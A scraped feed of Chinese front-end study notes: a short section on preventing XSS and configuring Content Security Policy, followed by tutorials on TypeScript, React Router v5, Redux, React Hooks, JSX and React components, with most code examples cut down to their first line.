不指定编码的话遇到中文会乱码
在使用 .innerHTML
、document.write()
、document.outerHTML
这些能够修改页面结构的 API 时要注意防范恶意代码,尽量使用 .textContent
、.setAttribute()
等
内容安全策略(Content Security Policy),实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,大大增强了网页的安全性。
两种方法可以启用 CSP。一种是通过 HTTP 头信息的 Content-Security-Policy 的字段。
1 | Content-Security-Policy: script-src 'self'; |
另一种是通过网页的 <meta>
标签。
1 | <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org iyouhun.com; child-src https:"> |
上面代码中,CSP 做了如下配置。
<object>
标签: 不信任任何 URL,即不加载任何资源<frame>
、<iframe>
: 必须使用HTTPS协议加载启用后,不符合 CSP 的外部资源就会被阻止加载。
百度网盘:https://zhuanlan.zhihu.com/p/24249045
酷站:https://www.cnblogs.com/chyingp/archive/2013/06/06/zcool-xss.html
TypeScript 是 JS 的超集,TS 提供了 JS 的所有功能,并且额外的增加了:类型系统
JS 有类型(比如,number/string 等),但是 JS 不会检查变量的类型是否发生变化,而 TS 会检查
TypeScript 类型系统的主要优势:可以显示标记出代码中的意外行为,从而降低了发生错误的可能性
示例代码
1 | let age: number = 18; |
代码中:number
就是类型注解
类型注解约束了只能给该变量赋值该类型的值
错误演示
1 | // 错误原因:将 string 类型的值赋值给了 number 类型的变量,类型不一致 |
可以将 TS 中的常用基础类型分为两类
number/string/boolean/null/undefined/symbol
object
(数组、对象、函数等)注意:原始类型在 TS 和 JS 中写法一致, 对象类型在 TS 中更加细化,每个具体对象都有自己的类型语法
特点:可完全按照 JavaScript 中的名称来书写
number/string/boolean/null/undefined/symbol
1 | let age: number = 18; |
数组两种写法
类型[]
写法, 如
1 | let userList: string[] = ['John', 'Bob', 'Tony']; |
Array<类型>写法, 如
1 | let user2List: Array<string> = ['John', 'Bob', 'Tony']; |
组中既有 number 类型,又有 string 类型,这个数组的类型应该如何写?
可以用|
(竖线)分割多个类型, 如
1 | let str: string | number = 1; |
如果数组中可以是字符串或者数字,则可以这么写
1 | let arr: Array<number | string> = [1, 2, '张三']; |
当一个复杂类型或者联合类型过多或者被频繁使用时,可以通过类型别名来简化该类型的使用
用法:type
名称 = 具体类型
1 | type CustomArray = Array<number | string>; |
以上代码中,type
作为创建自定义类型的关键字
函数类型需要指的是 函数参数
和返回值
的类型,这里分为两种写法
1 | // 单独指定函数返回值和函数参数 |
1 | // 同时指定参数和返回值 |
注意: 当函数作为表达式时,可以通过类似箭头函数形式的语法来为函数添加类型,这种形式只适用于函数表达式
当我们的函数定义为没有返回值的类型时,可用关键字void
表示
1 | // 没有返回值的函数 |
如果一个函数没有返回值,此时,在 TS 的类型中,应该使用 void
类型
1 | const add4 = () => {}; |
当我们定义函数时,有的参数可传可不传,这种情况下,可以使用 TS 的可选参数来指定类型
比如,在使用数组的slice
方法时,我们可以直接使用slice()
也可以传入参数 slice(1)
也可以slice(1,3)
1 | const slice = (start?: number, end?: number): void => {}; |
?
表示该参数或者变量可传可不传
注意:可选参数只能出现在参数列表的最后, 即必须参数必须在可选参数之前
JS 中的对象是由属性和方法组成的,TS 的对象类型是对象中属性和方法的描述
写法
1 | // 如果有多个属性 可以换行 去掉间隔符号 |
总结: 可是使用{}
来描述对象结构
属性采用属性名:类型
形式
函数可以采用 方法名(): 返回值类型
或者 函数名: Function
(不指定返回值)的形式
直接使用{}
会降低代码可读性,不具有辨识度,更推荐使用类型别名添加对象类型
1 | type PersonObj = { |
如果对象中的函数带有参数,可以在函数中指定参数类型
1 | // 带参数的函数方法 |
1 | // 箭头函数形式定义类型 |
对象中的若干属性,有时也是可选的,此时我们依然可以使用?
来表示
1 | type Config = { |
当一个对象类型被多次使用时,一般使用接口(interface)描述对象的类型,达到复用的目的
interface
关键字来声明接口I
为开头接口后不需要分号
1 | // 接口 |
相同点:都可以给对象指定类型
不同点: 接口只能为对象指定类型, 类型别名可以为任意类型指定别名
比如,这两个接口都有 x、y 两个属性,重复写两次,可以,但很繁琐
1 | interface Point2D { |
1 | interface Point2D { x: number; y: number } |
我们使用extends
关键字实现了 Point3D 继承了 Point2D 的所有属性的定义, 同时拥有继承的属性和自身自定义的属性
当我们想定义一个数组中具体索引位置的类型时,可以使用元祖。
原有的数组模式只能宽泛的定义数组中的普遍类型,无法精确到位置
元组是另一种类型的数组,它确切知道包含多少个元素,以及特定索引对应的类型
1 | let position: [number, number] = [39.5427, 116.2317]; |
在 TS 中,某些没有明确指出类型的地方,TS 的类型推论机制会帮助提供类型
也就是说,由于类型推论的存在,在某些地址类型注解可以省略不写。
1 | // 变量creater_name自动被推断为 string |
推荐:能省略类型注解的地方就省略(偷懒,充分利用 TS 类型推论的能力,提升开发效率)
技巧:如果不知道类型,可以通过鼠标放在变量名称上,利用 VSCode 的提示来查看类型
下面的代码类型分别是什么?
1 | // 字面量类型 |
通过 TS 的类型推导可以得到答案
1.变量 str1 的变量类型为: string
2.变量 str2 的变量类型为 ‘张三’
解释:str1 是一个变量(let),它的值可以是任意字符串,所以类型为:string
str2 是一个常量(const),它的值不能变化只能是 ‘张三’,所以,它的类型为:’张三’
此时,‘张三’就是一个字面量类型,即某个特殊的字符串也可以作为 TS 中的类型
任意的 JS 字面量(对象,数组,数字)都可以作为类型使用
1 | type Direction = 'left' | 'right' | 'up' | 'down'; |
1 | // 枚举 |
数字枚举
1 | // Down -> 11、Left -> 12、Right -> 13 |
1 | enum Direction { |
1 | enum Direction { |
1 | let obj: any = { x: 0 }; |
在项目开发中,尽量少用 any 类型
有时候你会比 TS 更加明确一个值的类型,此时,可以使用类型断言来指定更具体的类型。 比如,
1 | const aLink = document.getElementById('link'); |
1 | const aLink = document.getElementById('link') as HTMLAnchorElement; |
as
关键字实现类型断言<>
语法,这种语法形式不常用知道即可:1 | // 该语法,知道即可:在react的jsx中使用会报错 |
技巧:在浏览器控制台,通过 __proto__
获取 DOM 元素的类型
1 | console.log(typeof 'Hello world'); // string |
1 | let p = { x: 1, y: 2 }; |
typeof
操作符来获取变量 p 的类型,结果与第一种(对象字面量形式的类型)相同两种类型系统:1 Structural Type System(结构化类型系统) 2 Nominal Type System(标明类型系统)
TS 采用的是结构化类型系统,也叫做 duck typing(鸭子类型),类型检查关注的是值所具有的形状
也就是说,在结构类型系统中,如果两个对象具有相同的形状,则认为它们属于同一类型。比如:
1 | interface Point { |
对于对象类型来说,y 的成员至少与 x 相同,则 x 兼容 y(成员多的可以赋值给少的,或者说:只要满足必须的类型就行,多了也没事)
1 | interface Point2D { |
函数类型的类型兼容性比较复杂,需要考虑:1 参数个数 2 返回值类型 等等
参数个数:参数多的兼容参数少的(或者说,参数少的可以赋值给多的)
1 | const arr = ['a', 'b', 'c']; |
返回值类型:只要满足必须的类型要求就行,多了也没事
1 | type F1 = () => void; |
1 | // 比如,该函数传入什么数值,就返回什么数值 |
1 | function id(value: any): any { |
创建泛型函数:
1 | function id<Type>(value: Type): Type { |
解释:
<>
(尖括号),尖括号中添加类型变量,比如此处的 Type调用泛型函数:
1 | // 函数参数和返回值类型都为:number |
解释:
<>
(尖括号),尖括号中指定具体的类型,比如,此处的 number在调用泛型函数时,可以省略 <类型>
来简化泛型函数的调用
1 | // 省略 <number> 调用函数 |
解释:
默认情况下,泛型函数的类型变量 Type 可以代表任意类型,这导致无法访问任何属性
比如,以下示例代码中想要获取参数的长度:
1 | function id<Type>(value: Type): Type { |
此时,就需要为泛型添加约束来收缩类型
(缩窄类型取值范围)
添加泛型约束收缩类型,主要有以下两种方式:1 指定更加具体的类型 2 添加约束
首先,我们先来看第一种情况,如何指定更加具体的类型:
比如,将类型修改为 Type[]
(Type 类型的数组),因为只要是数组就一定存在 length 属性,因此就可以访问了
1 | function id<Type>(value: Type[]): Type[] { |
1 | // 创建一个自定义类型 |
解释:
extends
关键字来为泛型(类型变量)添加约束泛型的类型变量可以有多个,并且类型变量之间还可以约束(比如,第二个类型变量受第一个类型变量约束) 比如,创建一个函数来获取对象中属性的值:
1 | function getProp<Type, Key extends keyof Type>(obj: Type, key: Key) { |
解释:
,
逗号分隔。keyof Type
实际上获取的是 person 对象所有键的联合类型,也就是:'name' | 'age'
1 | // Type extends object 表示: Type 应该是一个对象类型,如果不是 对象 类型,就会报错 |
泛型接口:接口也可以配合泛型来使用,以增加其灵活性,增强其复用性
1 | interface IdFunc<Type> { |
解释:
<类型变量>
,那么,这个接口就变成了泛型接口。实际上,JS 中的数组在 TS 中就是一个泛型接口
1 | const strs = ['a', 'b', 'c']; |
泛型工具类型:TS 内置了一些常用的工具类型,来简化 TS 中的一些常见操作
说明:它们都是基于泛型实现的(泛型适用于多种类型,更加通用),并且是内置的,可以直接在代码中使用。 这些工具类型有很多,主要学习以下几个:
Partial<Type>
Readonly<Type>
Pick<Type, Keys>
1 | type Props = { |
1 | type Props = { |
1 | let props: ReadonlyProps = { id: '1', children: [] }; |
1 | interface Props { |
算是一个简单的系列合集笔记记录,温度而知新
]]>注意:v6 版本相比 v5 版本有破坏性更新! v6 文档
步骤:
yarn add react-router-dom@5.3.0
1 | import { BrowserRouter as Router, Route, Link } from 'react-router-dom' |
Router 组件:包裹整个应用,一个 React 应用只需要使用一次
两种常用 Router:HashRouter
和 BrowserRouter
HashRouter:使用 URL 的哈希值实现(
http://localhost:3000/#/first)
hashchange
事件来实现的(推荐)
BrowserRouter
:使用 H5 的 history.pushState() API 实现(
popstate
事件来实现的Link
组件:用于指定导航链接,会渲染成 a 标签
to
属性,将来会渲染成 a 标签的 href 属性1 | <Link to="/first">页面一</Link> |
除了 Link 组件外,路由库中还提供了 NavLink
组件,可以在路由匹配时获得一个高亮类名,从而指定高亮效果(样式需要自己手动指定)
使用方式同 Link 组件,只是额外获得一个高亮类名
activeClassName
属性:用于指定高亮的类名,默认 active
exact
属性:精确匹配,表示必须精确匹配(to 属性值和浏览器地址栏中的 pathname 相同),类名才生效
1 | <NavLink to="/first">页面一</NavLink> |
Route
组件:用来配置路由规则
path
属性,指定路由规则component
属性,指定要渲染的组件children
子节点,指定要渲染的组件1 | // 用法一:使用 component 属性指定要渲染的组件 |
注意:对于 Route 来说,如果路由规则匹配成功,那么,就会渲染对应组件;否则,渲染 null 或者说不渲染任何内容
对于 Route 组件来说,path
属性是可选的:
1 | <Route> |
路由有两种匹配模式:1 模糊匹配(默认), 2 精确匹配
模糊匹配
1 | <Link to="/login">登录页面</Link> |
path | 能够匹配的pathname(浏览器地址栏) |
---|---|
/ | 所有 pathname |
/first | /first 或 /first/a 或 /first/a/b/… |
精确匹配
exact
属性,让其变为精确匹配模式1 | // 此时,该组件只能匹配 pathname=“/” 这一种情况 |
切换页面时,执行过程如下:
注意:默认情况下,React 路由可以同时匹配成功多个,只要匹配成功,该路由组件对应的内容就会渲染到页面中
Switch
组件:包裹 Route 组件,只会渲染第一个匹配的组件,即使有多个路由都可以匹配成功
Switch
组件包裹 Route
组件Switch
组件非常容易的就能实现 404 页面功能:1 | <Switch> |
场景:点击登录按钮,登录成功后,通过代码跳转到后台首页,如何实现?
编程式导航:通过 JS 代码来实现页面跳转
可以通过useHistory
hook 来拿到路由提供的 history 对象,用于获取浏览器历史记录的相关信息。常用操作:
push(path)
:跳转到某个页面,参数 path 表示要跳转的路径replace(patch)
:跳转到某个页面,会替换当前的历史记录go(n)
: 前进或后退到某个页面,参数 n 表示前进或后退页面数量(比如:-1 表示后退到上一页)1 | import { useHistory } from 'react-router-dom' |
push(path)
和 replace(path)
跳转路由的区别:
浏览器会自动记录访问过来的页面路径,可以简单的把理解为通过一个 数组 来记录的。
比如:我们访问了 3 个页面:[‘/login’, ‘/home’, ‘/search’],当前所在页面为:’/search’
push('/a')
方法访问了一个新页面:’/a’,此时,就相当于往数组中 push 了一条数据,replace('/a')
方法访问了一个新页面:’/a’,此时,就相当于把当前页面地址,替换为 ‘/a’为什么要使用 React-Redux 绑定库?
React 和 Redux 是两个独立的库,两者之间职责独立。因此,为了实现在 React 中使用 Redux 进行状态管理 ,就需要一种机制,将这两个独立的库关联在一起。这时候就用到 React-Redux 这个绑定库了。
react-redux 的使用分为两大步:1 全局配置(只需要配置一次) 2 组件接入(获取状态或修改状态)
先看全局配置:
步骤:
yarn add react-redux
核心代码:
src/index.js 中:
1 | // 导入 Provider 组件 |
useSelector
:获取 Redux 提供的状态数据1 | import { useSelector } from 'react-redux' |
例:
1 | import { useSelector } from 'react-redux' |
useDispatch
:拿到 dispatch 函数,分发 action,修改 redux 中的状态数据
语法:
1 | import { useDispatch } from 'react-redux' |
例:
1 | import { useDispatch } from 'react-redux' |
在使用 Redux 进行项目开发时,不会将 action/reducer/store 都放在同一个文件中,而是会进行拆分
可以按照以下结构,来组织 Redux 的代码:
1 | /store --- 在 src 目录中创建,用于存放 Redux 相关的代码 |
Action Type 指的是:action 对象中 type 属性的值
Redux 项目中会多次使用 action type,比如,action 对象、reducer 函数、dispatch(action) 等
目标:集中处理 action type,保持项目中 action type 的一致性
action type 的值采用:'domain/action'(功能/动作)形式
,进行分类处理,比如,
'counter/increment'
表示 Counter 功能中的 increment 动作'login/getCode'
表示登录获取验证码的动作'profile/get'
表示获取个人资料步骤:
actionTypes
目录或者 constants
目录,集中处理1 | // actionTypes 或 constants 目录: |
注:额外添加 Action Type 会让项目结构变复杂,此操作可省略。但,domain/action
命名方式强烈推荐!
随着项目功能变得越来越复杂,需要 Redux 管理的状态也会越来越多
此时,有两种方式来处理状态的更新:
推荐:使用多个 reducer(第二种方案),每个 reducer 处理的状态更单一,职责更明确
此时,项目中会有多个 reducer,但是 store 只能接收一个 reducer,因此,需要将多个 reducer 合并为一根 reducer,才能传递给 store
合并方式:使用 Redux 中的 combineReducers
函数
注意:
合并后,Redux 的状态会变为一个对象,对象的结构与 combineReducers 函数的参数结构相同
{ a: aReducer 处理的状态, b: bReducer 处理的状态 }
1 | import { combineReducers } from 'redux' |
注意:虽然在使用combineReducers
以后,整个 Redux 应用的状态变为了对象
,但是,对于每个 reducer 来说,每个 reducer 只负责整个状态中的某一个值
loginReducer
处理的状态只应该是跟登录相关的状态profileReducer
处理的状态只应该是跟个人资料相关的状态不同状态的处理方式:
Redux 是 React 中最常用的状态管理工具(状态容器)
文档:
React的问题:
背景介绍:
为什么需要Redux?
为了让代码各部分职责清晰、明确,Redux 代码被分为三个核心概念:action/reducer/store
action
就是一个对象,type
描述行为,约定payload
做为传参。
解释:
action
行动(名词)、动作action
特点:
action
只描述做什么事情action
是一个JS对象,必须带有 type
属性,用于区分动作的类型payload
有效载荷),配合该动作来完成相应功能举例:
1 | // 计数器案例 |
使用函数创建 action 对象,简化多次使用 action 时,重复创建 action 对象
举例:
1 | // 1. 不使用 Action Creator |
reduce
这个方法reduce
方法,可以来实现累计(比如,累加或者累减)作用:
状态更新
的地方(prevState, action) => newState
原则:
1 | // 伪代码: |
示例:
1 | // 示例: |
总结:
reducer
是修改状态的地方,这里根据action的类型去修改状态通过store关联action和reducer
store:仓库,Redux 的核心,整合 action 和 reducer
store.getState()
store.dispatch(action)
const store = createStore(reducer)
const unSubscribe = store.subscribe(() => {})
unSubscribe()
核心代码:
1 | // 提前安装 redux |
reducer(undefined, {type: "@@redux/INITv.a.4.t.t.p"})
state = 10
10
store.getState()
方法来获取 Redux 状态值就是默认值1 | // 导入 createStore |
store.dispatch(action)
更新状态10
)和 action({ type: 'increment' }
),计算出新的状态并返回1 | import { legacy_createStore as createStore } from 'redux' |
纯函数:
1 | // 纯函数: |
JS副作用:
1 | // 无副作用 |
Hooks
:钩子、钓钩、钩住 ,Hooks
是 React v16.8 中的新增功能总结:
componentDidMount
、componentDidUpdate
、componentWillUnmount
this
相关的用法{}
、onClick={handleClick}
、条件渲染、列表渲染、样式处理等单向数据流
、状态提升
等总结:
use
开头useXxx
1 | // 参数:状态初始值(数值、字符串、数组,对象) |
useState
hookuseState
函数,并传入状态的初始值useState
函数的返回值中,拿到状态和修改状态的函数1 | import { useState } from 'react'; |
1 | import { useState } from 'react'; |
总结:
给useState
提供初始化值,返回数组。
参考写法:const [count, setCount] = useState(0)
useState
提供的状态,是函数内部的局部变量,可以在函数内的任意位置使1 | const UserCom = () => { |
setCount(newValue)
是一个函数,参数表示:新的状态值替换
旧值1 | const UserCom = () => { |
总结:
useState(0)
将传入的参数作为状态初始值,即:0setCount(count + 1)
修改状态,因为状态发生改变,所以,该组件会重新渲染useState(0)
,此时 React 内部会拿到最新的状态值而非初始值,比如,该案例中最新的状态值为 11 | import { useState } from 'react'; |
总结:
useState
Hook 多次即可,每调用一次 useState Hook 可以提供一个状态useState Hook
多次调用返回的 [state, setState],相互之间,互不影响可以通过开发者工具进行查看组件的 hooks
总结:
分支循环语句
中,react 存储 hooks 状态按顺序存储。side effect
副作用专业解释总结:
1 | useEffect(() => { |
例:count 更新的时候显示到标题
1 | import { useEffect } from 'react'; |
总结:
useEffect(()=>{})
组件初始化,更新的时候执行useEffect(()=>{})
只要状态发生更新 useEffect 的 effect 回调就会执行useEffect(()=>{},[依赖项])
依赖项的值变化才会执行 effect1 | import { useEffect } from 'react'; |
总结:
useEffect(()=>{},[依赖项])
依赖项可以指定某些状态变化再去执行副作用1 | const App = () => { |
总结:
1 | useEffect(() => { |
注意:
componetWillUnmount
1 | useEffect(() => { |
1 | // 1 |
use
开头,否则react不认为是 hooks
hook
就是对状态和逻辑的封装,将来可以复用例:
未封装前
App.js
1 | import { useState, useEffect } from "react" |
封装hooks之后
hook.js
1 | import { useState, useEffect } from "react" |
App.js
1 | import { useMouse } from "./hooks" |
使用
useRef
可以获取dom元素,组件也可以通过它获取。
useRef
函数从 react
中const ref = useRef(null)
ref={ref}
绑定ref对象ref.current
获取dom元素例:组件初始化自动获取焦点功能
1 | import { useRef, useEffect } from "react"; |
大致步骤:
createContext
创建context对象Provider
组件包裹根组件,注入数据后代
组件中使用 useContext
使用数据通过 createContext
创建context对象
context.js
1 | import { createContext } from "react"; |
通过 Provider
组件包裹根组件,注入数据
App.jsx
1 | import { useState } from "react"; |
在 后代
组件中使用 useContext
使用数据
Child.jsx
1 | import { useContext } from "react" |
总结:
Provider
注入数据和之前一样,使用数据只需要 useContext
即可。
JSX
是JavaScript XML
的简写,表示了在 JavaScript 中书写 XML 格式的代码。它是React
的核心内容,它可以让我们在React
中创建元素更加简单,更加直观,提高开发效率。
JS
扩展语法,可以在 JS
中书写 XML
语法简洁、直观、高效
的声明 UI 界面我们可以在 babel 的网站,在线测试 babeljs ,这个网站可以把 JSX
代码转换成 JS
代码
注意:JSX
是 JavaScript
的语法扩展,它无法在浏览器中直接使用,在 create-react-app
脚手架中内置了 @babel/plugin-transform-react-jsx
插件来解析它,成为 JavaScript
的标准语法。
react-dom
JSX
创建元素react-dom
渲染1 | import ReactDom from 'react-dom'; |
上述代码运行成功,现在 React17x
可以不必导入React
包,因为在 babel
转换的时候自动导入了创建 React 元素的依赖。但是如果你使用 React16x
那么你还需要手动导入 React
,如何验证?安装下低版本的 React
包即可。
总结
react-dom
使用 JSX
创建元素 使用 react-dom
渲染元素17x
版本的 React
不需要导入,如果将来遇见 低版本
是需要导入的。补充
vscode settings.json
加上 在 react 中使用 ement 语法提示创建标签1 | "emmet.includeLanguages": { |
className
htmlFor
单标签
<></>
幽灵标签,其实是 <React.Fragment></React.Fragment>
简写JSX
有换行,最好使用 ()
包裹1 | // class ---> className for ---> htmlFor 特殊属性 |
1 | // <span className="icon-edit"></span> 没内容可以写成单标签形势 |
1 | // 1. 使用 React.Fragment 代码片段 |
1 | // 2. 使用<></>可以避免没必要的标签产生 简写 React.Fragment |
1 | // 有换行的时候最好使用()可以让标签对其,避免没必要的错误 |
在JSX
中使用{ }嵌入JS
表达式,注意不能使用语句。
1 | import React from 'react'; |
if/else
完成条件渲染三元运算符
完成条件渲染逻辑运算符
完成条件渲染1 | const loading = true; |
1 | const loading = true; |
1 | const loading = true; |
JSX
数组map
渲染列表JSX
中使用 map
渲染列表key
属性使用1 | // 1. const list = ['tom', 'jack', 'tony'] 把数组转换成如下JSX数组 |
1 | // 1. 数据 |
1 | // 1. 数据 |
1 | // Warning: Each child in a list should have a unique "key" prop. |
style
接受一个采用小驼峰命名属性的 JavaScript
对象,而不是 CSS
字符串style
中的 key
采用小驼峰命名是为了与 JS
访问 DOM
节点的属性保持一致React
会自动添加 ”px” 后缀到内联样式为数字的属性后,其他单位需要手动添加演示代码
ul
的点,加上背景样式,设置字体大小,给第一个 p
设置两倍字体大小1 | import ReactDom from 'react-dom' |
在多数情况下,应使用
className
属性来引用外部CSS
样式表中定义的class
className
设置类名,和 class
属性要求一样只能是字符串{ }
嵌入 JS
表达式实现演示代码:
button
上根据 isActive
数据的值添加 active
类名index.css 代码
1 | .button { |
index.js 代码
1 | import ReactDom from 'react-dom'; |
className
的时候遇见多个类名动态绑定,可以模仿 vue
使用对象的方式vue
中绑定类名的时候使用 {类名:布尔}
用布尔值决定是否加上这个类名例如:在元素 button
上根据 isActive
数据的值添加 active
类名,isBlock
数据的值添加 block
类名
1 | import ReactDom from 'react-dom'; |
使用 JS
原生的能力处理多个类名的动态绑定,当然这样的需求已经有 classnames
库给我们解决了。
1 | 安装 |
1 | // 导入 |
1 | // 1. 使用字符串 |
例如还是上面那个需求:在元素 button
上根据 isActive
数据的值添加 active
类名,isBlock
数据的值添加 block
类名
1 | import ReactDom from 'react-dom'; |
了解 react 的历史背景和基本概念
React 起源于 Facebook 的内部项目。因为该公司对市场上所有 JavaScript MVC 框架,都不满意,就决定自己写一套,用来架设 Instagram 的网站。做出来以后,发现这套东西很好用,就在 2013 年 5 月开源了。
React 是最流行的前端框架之一。对比近两年 Vue 和 Angular 的下载量,还有 2021 年开发者使用的 web 框架的 比例 ,可以看到 React 是前端工程师应该必备技能之一,现在很多大厂也在使用它。
React 是一个用于构建用户界面的 JavaScript 库。可以理解它只负责 MVC 中的视图层渲染,不直接提供数据模型和控制器功能。react-router 实现路由,redux 实现状态管理,可以使用它们来构建一个完整应用。
React 中文站:React 官方中文文档 – 用于构建用户界面的 JavaScript 库
总结: React 是 Facebook 开源的,现在它是最流行的前端框架大厂必备,React 本身是一个构建 UI 的库,如果需要开发一个完整的 web 应用需要配合 react-router,redux,…等。
了解 react 的三个核心特点
React 使创建交互式 UI 变得轻而易举。为你应用的每一个状态设计简洁的视图,当数据变动时 React 能高效更新并渲染合适的组件。
以声明式编写 UI,可以让你的代码更加可靠,且方便调试。
创建拥有各自状态的组件,再由这些组件构成更加复杂的 UI。 组件逻辑使用 JavaScript 编写而非模版,因此你可以轻松地在应用中传递数据,并使得状态与 DOM 分离。
无论你现在使用什么技术栈,在无需重写现有代码的前提下,通过引入 React 来开发新功能。React 还可以使用 Node 进行服务器渲染,或使用 React Native 开发原生移动应用。
总结: 声明式 UI 更清晰快捷,组件化开发更灵活,可支持 SSR,SPA ,NativeApp,VR 多平台。
掌握使用 create-react-app 脚手架创建项目
创建项目方式:
1 | 全局安装脚手架 |
1 | project-name 项目名称 |
1 | project-name 项目名称 |
推荐: 使用方式二这样每次使用的最新脚手架创建项目,创建完毕使用 npm start
启动项目。
在 create-react-app 脚手架创建项目中,掌握使用 react 基本步骤
使用步骤:
react
、react-dom
两个包react
创建 react 元素(虚拟 DOM)react-dom
渲染 react 元素落地代码:src 内文件删除,创建src/index.js
1 | // 负责创建react元素 |
1 | // 参数1:标签名称 |
1 | // #root在public/index.html上 |
总结: 使用 react
创建元素,使用 react-dom
渲染元素。
掌握使用 react 创建嵌套元素
使用 react 创建如下元素
1 | <div class="list"> |
React代码
1 | import React from 'react'; |
总结: 使用 createElement
创建元素非常麻烦、可读性差、不优雅,开发中推荐使用 JSX 来声明 UI。
1 | // 开发者A创建的组件 |
报错:TypeError: arr.map is not a function
通过 prop-types 可以在创建组件的时候进行类型检查,更合理的使用组件避免错误
安装 yarn add prop-types
导入 import PropTypes from 'prop-types'
使用 组件名.propTypes = { 'props属性':'props校验规则' }
进行类型约定,PropTypes
包含各种规则
1 | import PropTypes from 'prop-types' |
1 | const Demo = (props) => { |
作用:给组件的props设置默认值,在未传入props的时候生效
1 | // 分页组件 |
1 | // 分页组件 |
1 | class Person { |
static propTypes = {}
定义props校验规则 static defaultProps = {}
定义props默认值1 | class Demo extends Component { |
总结:只有类组件才有生命周期,分为 挂载阶段
更新阶段
卸载阶段
constructor() –> render() –> componentDidMount()
钩子函数 | 触发时机 | 作用 |
---|---|---|
constructor | 创建组件时,最先执行 | 1. 初始化state 2. 创建 Ref 3. 使用 bind 解决 this 指向问题等 |
render | 每次组件渲染都会触发 | 渲染UI(注意: 不能调用setState() ) |
componentDidMount | 组件挂载(完成DOM渲染)后 | 1. 发送网络请求 2.DOM操作 |
例:
1 | import { Component } from 'react' |
render() –> componentDidUpdate()
钩子函数 | 触发时机 | 作用 |
---|---|---|
render | 每次组件渲染都会触发 | 渲染UI(与 挂载阶段 是同一个render) |
componentDidUpdate | 组件更新(完成DOM渲染)后 | DOM操作,可以获取到更新后的DOM内容,不要直接调用setState |
例:
1 | import { Component } from 'react' |
钩子函数 | 触发时机 | 作用 |
---|---|---|
componentWillUnmount | 组件卸载(从页面中消失) | 执行清理工作(比如:清理定时器等) |
例:
1 | import { Component } from 'react' |
发现setState是“异步”的,多次setState会合并。
1 | import React, {Component} from 'react' |
1 | import React, {Component} from 'react' |
1 | import React, {Component} from 'react' |
总结
setState((prevState) => {})
语法,可以解决多次调用状态依赖问题setState(updater[, callback])
语法,在状态更新(页面完成重新渲染)后立即执行某个操作在react类组件中,多次的setState并不会立刻执行,而是合并成一个来执行。
知道何时出现“异步”,知道何时出现同步
1 | import React, {Component} from 'react' |
组件允许你将 UI 拆分为独立可复用的代码片段,并对每个片段进行独立构思。
组件表示页面中的部分功能,组合多个组件实现完整的页面。
功能特点:可复用、独立、可组合。
React 创建组件方法:
function
class
首字母必需大写
,React 据此来区分组件和 HTML 元素。必须有返回值
,表示该组件的 UI 结构,如果不渲染任何内容可返回null
。1 | // 普通函数 |
1 | import ReactDom from 'react-dom'; |
null
。复习一下定义class、定义属性、定义函数。
1 | // 动物 |
extends
继承父类
1 | // 猫 |
总结: class
创建类,extends
继承类,可以使用父类的属性和函数。
class
语法创建的组件就是类组件React.Component
父类render
函数,返回 UI 结构,无渲染可返回 null1 | import { Component } from 'react'; |
1 | import { Component } from 'react'; |
class
定义类,使用extends
继承React.Component
完成类组件定义首字母大写
,必须有render
函数返回 UI 结构,无渲染可返回null
标签
使用即可如果所有组件写在一个文件,代码写在一起后续会难以维护,组件作为一个独立的个体,一般都会放到一个单独的JS文件中。
抽离组件
js
或者jsx
文件定义组件默认导出具体操作:
1.新建 src/components/Header.jsx
类组件,新建 src/components/Footer.jsx
函数组件
1 | import { Component } from 'react'; |
1 | const Footer = () => { |
2.新建 src/App.jsx
组件, 导入Header
Footer
组件使用。
1 | import { Component } from 'react'; |
3.index.js
使用 App
根组件
1 | import ReactDom from 'react-dom'; |
简单理解:
无状态(函数)组件,负责静态结构展示
有状态(类)组件,负责更新UI,让页面动起来
React16.8
之前的函数组件都是无状态组件,Hooks
出现后函数组件也可以有状态。class
组件可以定义组件自己的状态,拥有组件生命周期,它是有状态组件。React16.8
之前,组件不需要维护数据只渲染就使用函数组件
,有数据和交互使用类组件
。你需要去判断,有心智负担。React16.8
之后,Hooks
出现给函数提供状态,建议使用函数组件即可。state
属性定义组件状态,属于组件自己的数据,它的值是个对象。state
的时候通过this
去访问即可,例如:this.state.xxx
。1 | import { Component } from 'react'; |
总结:
state
属性,值是对象存储数据,this.state.xxx
使用数据,数据驱动视图更新。on+事件名称={处理函数}
的方式绑定事件,事件名称需要遵循大驼峰
规则。1 | import { Component } from 'react'; |
总结:
on+事件名称={处理函数}
方式绑定大驼峰
规则,例如:onClick
onMouseEnter
, 处理函数默认传参为事件对象。this.state.count
发现报错,this
是个undefined
。this
指向的影响,得出函数谁调用 this
就执行谁。this
不是组件问题。1 | import { Component } from 'react'; |
1 | const obj = { |
on+事件名称
属性,调用的时候不是通过组件调用的。1 | import { Component } from "react"; |
1 | import { Component } from "react"; |
利用箭头函数形式的class实例方法。
注意:该语法是实验性语法,但是,由于babel的存在可以直接使用。
1 | import { Component } from "react"; |
setState({需修改数据})
,可以更新数据和视图。1 | import { Component } from 'react'; |
1 | import { Component } from 'react'; |
1.什么是受控组件
表单元素的值被 React 中state
控制,这个表单元素就是受控组件。
2.如何绑定表单元素,如:input:text
input:checkbox
1 | import { Component } from 'react'; |
总结:
state
的数据赋值给表单原生,通过onChange
监听值改变修改 state 数据,完成表单元素的绑定。1.什么是非受控组件?
2.通过 ref 获取表单元素获取非受控组件的值
1 | import { Component, createRef } from 'react'; |
总结:
ref
的作用:获取DOM或组件ref
,使用原生 DOM方式来获取表单元素值。1.组件的两种创建方式:函数组件和类组件
2.无状态(函数)组件,负责静态结构展示
3.有状态(类)组件,负责更新UI,让页面动起来
4.绑定事件注意this指向问题
5.推荐使用受控组件来处理表单
6.完全利用JS语言的能力创建组件,这是 React的思想
]]>